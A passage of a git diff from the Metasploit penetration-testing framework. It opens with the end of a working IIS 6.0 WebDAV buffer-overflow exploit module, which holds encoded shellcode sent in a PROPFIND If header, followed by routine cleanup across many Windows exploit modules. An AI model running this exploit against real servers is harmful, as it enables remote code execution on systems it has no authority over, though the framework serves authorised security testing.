'BufferRegister' => 'ESI', + } + }, + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'PrependMigrate' => true, + }, + 'Targets' => + [ + [ + 'Microsoft Windows Server 2003 R2 SP2', + { + 'Platform' => 'win', + }, + ], + ], + 'Platform' => 'win', + 'DisclosureDate' => 'Mar 26 2017', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']), + OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]), + OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]), + ]) + end + + def min_path_len + datastore['MINPATHLENGTH'] + end + + def max_path_len + datastore['MAXPATHLENGTH'] + end + + def supports_webdav?(headers) + if headers['MS-Author-Via'] == 'DAV' || + headers['DASL'] == '' || + headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ || + headers['Public'] =~ /PROPFIND/ || + headers['Allow'] =~ /PROPFIND/ + return true + else + return false + end + end + + def check + res = send_request_cgi({ + 'uri' => target_uri.path, + 'method' => 'OPTIONS' + }) + if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers) + return Exploit::CheckCode::Vulnerable + elsif res && supports_webdav?(res.headers) + return Exploit::CheckCode::Detected + elsif res.nil? + return Exploit::CheckCode::Unknown + else + return Exploit::CheckCode::Safe + end + end + + def exploit + # extract the local servername and port from a PROPFIND request + # these need to be the values from the backend server + # if testing a reverse proxy setup, these values differ + # from RHOST and RPORT but can be extracted this way + vprint_status("Extracting ServerName and Port") + res = send_request_raw( + 'method' => 'PROPFIND', + 'headers' => { + 'Content-Length' => 0 + }, + 'uri' => target_uri.path + ) + fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207) + + xml = res.get_xml_document + url = URI.parse(xml.at("//a:response//a:href").text) + server_name = url.hostname + server_port = url.port + server_scheme = url.scheme + + http_host = "#{server_scheme}://#{server_name}:#{server_port}" + vprint_status("Using http_host #{http_host}") + + min_path_len.upto(max_path_len) do |path_len| + vprint_status("Trying path length of #{path_len}...") + + begin + buf1 = "<#{http_host}/" + buf1 << rand_text_alpha(114 - path_len) + buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac" + buf1 << ">" + buf1 << " (Not ) <#{http_host}/" + buf1 << rand_text_alpha(114 - path_len) + buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81" + buf1 << payload.encoded + buf1 << ">" + + vprint_status("Sending payload") + res = send_request_raw( + 'method' => 'PROPFIND', + 'headers' => { + 'Content-Length' => 0, + 'If' => "#{buf1}" + }, + 'uri' => target_uri.path + ) + if res + vprint_status("Server returned status #{res.code}") + if res.code == 502 || res.code == 400 + next + elsif session_created? + return + else + vprint_status("Unknown Response: #{res.code}") + end + end + rescue ::Errno::ECONNRESET + vprint_status("got a connection reset") + next + end + end + end +end + diff --git a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb index e3103db7ac..3802a0df8d 100644 --- a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb +++ b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote [ true, 'The path to attempt to upload', '/metasploit%RAND%.asp']), OptEnum.new('METHOD', [ true, 'Move or copy the file on the remote system from .txt -> .asp', 'move', ['move','copy']]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/iis/ms01_023_printer.rb b/modules/exploits/windows/iis/ms01_023_printer.rb index 1318d6ac68..9c6b293622 100644 --- a/modules/exploits/windows/iis/ms01_023_printer.rb +++ b/modules/exploits/windows/iis/ms01_023_printer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(80) - ], self.class) + ]) end diff --git a/modules/exploits/windows/iis/ms01_026_dbldecode.rb b/modules/exploits/windows/iis/ms01_026_dbldecode.rb index 5a4738e926..8c8e276bd6 100644 --- a/modules/exploits/windows/iis/ms01_026_dbldecode.rb +++ b/modules/exploits/windows/iis/ms01_026_dbldecode.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/tftp' class MetasploitModule < Msf::Exploit::Remote @@ -48,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(80), OptString.new('WINDIR', [ false, 'The windows directory of the target host', nil ]), OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ]) - ], self.class) + ]) framework.events.add_exploit_subscriber(self) end diff --git a/modules/exploits/windows/iis/ms01_033_idq.rb b/modules/exploits/windows/iis/ms01_033_idq.rb index f631cc4e19..5a087a59bd 100644 --- a/modules/exploits/windows/iis/ms01_033_idq.rb +++ b/modules/exploits/windows/iis/ms01_033_idq.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jun 18 2001', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(80)], self.class) + register_options([Opt::RPORT(80)]) end def exploit diff --git a/modules/exploits/windows/iis/ms02_018_htr.rb b/modules/exploits/windows/iis/ms02_018_htr.rb index 9ef0522d13..bf974db4f9 100644 --- a/modules/exploits/windows/iis/ms02_018_htr.rb +++ b/modules/exploits/windows/iis/ms02_018_htr.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(80) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb index 8b8b9ea12e..ae23a7f871 100644 --- a/modules/exploits/windows/iis/ms02_065_msadc.rb +++ b/modules/exploits/windows/iis/ms02_065_msadc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb index d548309299..775ec3aee0 100644 --- a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb +++ b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index fff453f738..3413b43d65 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/tftp' class MetasploitModule < Msf::Exploit::Remote @@ -64,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('DBNAME', [ true, "The SQL Server database", 'master']), OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']), OptString.new('DBPASSWORD', [ false, "The SQL Server password (default is blank)", '']), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/imap/eudora_list.rb b/modules/exploits/windows/imap/eudora_list.rb index 035aa5a85f..e921fd5049 100644 --- a/modules/exploits/windows/imap/eudora_list.rb +++ b/modules/exploits/windows/imap/eudora_list.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/imap/imail_delete.rb b/modules/exploits/windows/imap/imail_delete.rb index 77a2823617..18103fadcc 100644 --- a/modules/exploits/windows/imap/imail_delete.rb +++ b/modules/exploits/windows/imap/imail_delete.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/imap/ipswitch_search.rb b/modules/exploits/windows/imap/ipswitch_search.rb index 403dadfdbf..ef70127495 100644 --- a/modules/exploits/windows/imap/ipswitch_search.rb +++ b/modules/exploits/windows/imap/ipswitch_search.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/imap/mailenable_login.rb b/modules/exploits/windows/imap/mailenable_login.rb index 776059c1bb..10f98b59a8 100644 --- a/modules/exploits/windows/imap/mailenable_login.rb +++ b/modules/exploits/windows/imap/mailenable_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Dec 11 2006', 'DefaultTarget' => 0)) - register_options( [ Opt::RPORT(143) ], self.class ) + register_options( [ Opt::RPORT(143) ]) end def exploit diff --git a/modules/exploits/windows/imap/mailenable_status.rb b/modules/exploits/windows/imap/mailenable_status.rb index 9e984b8f5e..dc4a6d1e9d 100644 --- a/modules/exploits/windows/imap/mailenable_status.rb +++ b/modules/exploits/windows/imap/mailenable_status.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/imap/mailenable_w3c_select.rb b/modules/exploits/windows/imap/mailenable_w3c_select.rb index f10818b868..b82f2757b3 100644 --- a/modules/exploits/windows/imap/mailenable_w3c_select.rb +++ b/modules/exploits/windows/imap/mailenable_w3c_select.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/imap/mdaemon_cram_md5.rb b/modules/exploits/windows/imap/mdaemon_cram_md5.rb index f15372a824..6cf6f5dbdb 100644 --- a/modules/exploits/windows/imap/mdaemon_cram_md5.rb +++ b/modules/exploits/windows/imap/mdaemon_cram_md5.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/imap/mdaemon_fetch.rb b/modules/exploits/windows/imap/mdaemon_fetch.rb index b983440500..3f3328a72b 100644 --- a/modules/exploits/windows/imap/mdaemon_fetch.rb +++ b/modules/exploits/windows/imap/mdaemon_fetch.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb index f4e2546d73..b9c56b9a08 100644 --- a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb +++ b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/imap/mercur_login.rb b/modules/exploits/windows/imap/mercur_login.rb index 7b580ad5dc..9c9482c351 100644 --- a/modules/exploits/windows/imap/mercur_login.rb +++ b/modules/exploits/windows/imap/mercur_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Mar 17 2006', 'DefaultTarget' => 0)) - register_options( [ Opt::RPORT(143) ], self.class ) + register_options( [ Opt::RPORT(143) ]) end def exploit diff --git a/modules/exploits/windows/imap/mercury_login.rb b/modules/exploits/windows/imap/mercury_login.rb index 621ae49de5..fb9443a2b6 100644 --- a/modules/exploits/windows/imap/mercury_login.rb +++ b/modules/exploits/windows/imap/mercury_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(143) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/imap/mercury_rename.rb b/modules/exploits/windows/imap/mercury_rename.rb index 8f6bacec40..e2c0e44728 100644 --- a/modules/exploits/windows/imap/mercury_rename.rb +++ b/modules/exploits/windows/imap/mercury_rename.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/imap/novell_netmail_append.rb b/modules/exploits/windows/imap/novell_netmail_append.rb index a254c10cd2..7f9e8e31b8 100644 --- a/modules/exploits/windows/imap/novell_netmail_append.rb +++ b/modules/exploits/windows/imap/novell_netmail_append.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/imap/novell_netmail_auth.rb b/modules/exploits/windows/imap/novell_netmail_auth.rb index 562013f2e4..b59ea05292 100644 --- a/modules/exploits/windows/imap/novell_netmail_auth.rb +++ b/modules/exploits/windows/imap/novell_netmail_auth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jan 7 2007', 'DefaultTarget' => 0)) - register_options( [ Opt::RPORT(143) ], self.class ) + register_options( [ Opt::RPORT(143) ]) end def exploit diff --git a/modules/exploits/windows/imap/novell_netmail_status.rb b/modules/exploits/windows/imap/novell_netmail_status.rb index 3f0cdc6c27..7fe2a0aef7 100644 --- a/modules/exploits/windows/imap/novell_netmail_status.rb +++ b/modules/exploits/windows/imap/novell_netmail_status.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/imap/novell_netmail_subscribe.rb b/modules/exploits/windows/imap/novell_netmail_subscribe.rb index 1b317ddc1f..70d371cc3b 100644 --- a/modules/exploits/windows/imap/novell_netmail_subscribe.rb +++ b/modules/exploits/windows/imap/novell_netmail_subscribe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/isapi/ms00_094_pbserver.rb b/modules/exploits/windows/isapi/ms00_094_pbserver.rb index de284832e7..d2ce0d4c65 100644 --- a/modules/exploits/windows/isapi/ms00_094_pbserver.rb +++ b/modules/exploits/windows/isapi/ms00_094_pbserver.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URL', [ true, "The path to pbserver.dll", "/pbserver/pbserver.dll" ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb b/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb index 884a2cb940..39b3d46b28 100644 --- a/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb +++ b/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URL', [ true, "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb b/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb index ffa2f21cb0..ab0a4ee39b 100644 --- a/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb +++ b/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URL', [ true, "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb index 0c03aed308..42fc6438c6 100644 --- a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb +++ b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -64,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URL', [ true, "The path to IISWebAgentIF.dll", "/WebID/IISWebAgentIF.dll" ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/isapi/w3who_query.rb b/modules/exploits/windows/isapi/w3who_query.rb index 0963967016..ecb723b949 100644 --- a/modules/exploits/windows/isapi/w3who_query.rb +++ b/modules/exploits/windows/isapi/w3who_query.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URL', [ true, "The path to w3who.dll", "/scripts/w3who.dll" ]), - ], self.class) + ]) end def auto_target diff --git a/modules/exploits/windows/ldap/imail_thc.rb b/modules/exploits/windows/ldap/imail_thc.rb index abbb005e30..c9369e7c8c 100644 --- a/modules/exploits/windows/ldap/imail_thc.rb +++ b/modules/exploits/windows/ldap/imail_thc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(389) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/ldap/pgp_keyserver7.rb b/modules/exploits/windows/ldap/pgp_keyserver7.rb index 1e98ff170f..b04d34e769 100644 --- a/modules/exploits/windows/ldap/pgp_keyserver7.rb +++ b/modules/exploits/windows/ldap/pgp_keyserver7.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(389) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/license/calicclnt_getconfig.rb b/modules/exploits/windows/license/calicclnt_getconfig.rb index 18ef7a6cb2..b319298d8b 100644 --- a/modules/exploits/windows/license/calicclnt_getconfig.rb +++ b/modules/exploits/windows/license/calicclnt_getconfig.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -71,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(10203), OptPort.new('SRVPORT', [ true, "Fake CA License Server Port", 10202 ]), - ], self.class) + ]) end #def check diff --git a/modules/exploits/windows/license/calicserv_getconfig.rb b/modules/exploits/windows/license/calicserv_getconfig.rb index 0638dbae5b..7c7387fd0d 100644 --- a/modules/exploits/windows/license/calicserv_getconfig.rb +++ b/modules/exploits/windows/license/calicserv_getconfig.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(10202), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/license/flexnet_lmgrd_bof.rb b/modules/exploits/windows/license/flexnet_lmgrd_bof.rb index 1f7d26fd43..d9e40e454b 100644 --- a/modules/exploits/windows/license/flexnet_lmgrd_bof.rb +++ b/modules/exploits/windows/license/flexnet_lmgrd_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -85,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]), OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]), OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ]) - ], self.class) + ]) end def header_checksum(packet) diff --git a/modules/exploits/windows/license/sentinel_lm7_udp.rb b/modules/exploits/windows/license/sentinel_lm7_udp.rb index 8fd7714f4b..a38c77d143 100644 --- a/modules/exploits/windows/license/sentinel_lm7_udp.rb +++ b/modules/exploits/windows/license/sentinel_lm7_udp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(5093) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb index cdbd812b7c..a099828aee 100644 --- a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb +++ b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb index 580fa724be..e1f77986c2 100644 --- a/modules/exploits/windows/local/agnitum_outpost_acs.rb +++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking @@ -58,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Local OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]), # By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\ OptInt.new("DEPTH", [ true, "Traversal depth", 3 ]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/local/always_install_elevated.rb b/modules/exploits/windows/local/always_install_elevated.rb index 523a7e4a11..6705abf5e4 100644 --- a/modules/exploits/windows/local/always_install_elevated.rb +++ b/modules/exploits/windows/local/always_install_elevated.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking @@ -58,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Local register_advanced_options([ OptString.new('LOG_FILE', [false, 'Remote path to output MSI log file to.', nil]), OptBool.new('QUIET', [true, 'Run the MSI with the /quiet flag.', true]) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb index 2f724f8609..2f944bb45c 100644 --- a/modules/exploits/windows/local/ask.rb +++ b/modules/exploits/windows/local/ask.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb index 3b8a27b04e..cf6d4bd593 100644 --- a/modules/exploits/windows/local/bthpan.rb +++ b/modules/exploits/windows/local/bthpan.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/local/windows_kernel' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 16413477cc..7c200f7e45 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking diff --git a/modules/exploits/windows/local/bypassuac_eventvwr.rb b/modules/exploits/windows/local/bypassuac_eventvwr.rb index a64e1b9dc1..b5ef7e52e5 100644 --- a/modules/exploits/windows/local/bypassuac_eventvwr.rb +++ b/modules/exploits/windows/local/bypassuac_eventvwr.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 1f57dfdc22..77421315df 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local diff --git 